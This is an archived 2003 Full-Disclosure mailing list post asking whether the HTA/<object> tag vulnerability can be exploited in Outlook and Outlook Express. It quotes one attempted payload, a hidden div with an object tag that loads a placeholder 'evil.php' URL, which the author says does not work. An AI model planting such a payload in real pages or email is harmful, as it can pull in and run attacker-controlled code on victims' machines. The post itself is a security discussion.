full-disclosure - HTA/<object> vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <200309101403.h8AE32as024623@mailserver3.hushmail.com>
From: titus at hush.com (titus@...h.com)
Subject: HTA/<object> vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Has anyone has been able to confirm that the HTA/<object> tag vulnerability
is exploitable in Outlook and Outlook express?  The EEYE advisory states
that its possible but I haven't seen it work.  The following does not
work.

<div style.none><object data="http://server/evil.php"></object></div>

Info from Microsoft, CERT, and SecurityFocus only reference IE as being
vulnerable.  Was that an assumption on EEYE's part or is it exploitable
in applications other than IE.

Thanks.

- -titus
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.3

wkYEARECAAYFAj9fLw0ACgkQlM5X+CwKCzGxywCgrPsqLQkTOzNpSjzgYHXcQwBAN7wA
n2qt7P+ysZwiu1gUlI5PYhwWPrpc
=CSmx
-----END PGP SIGNATURE-----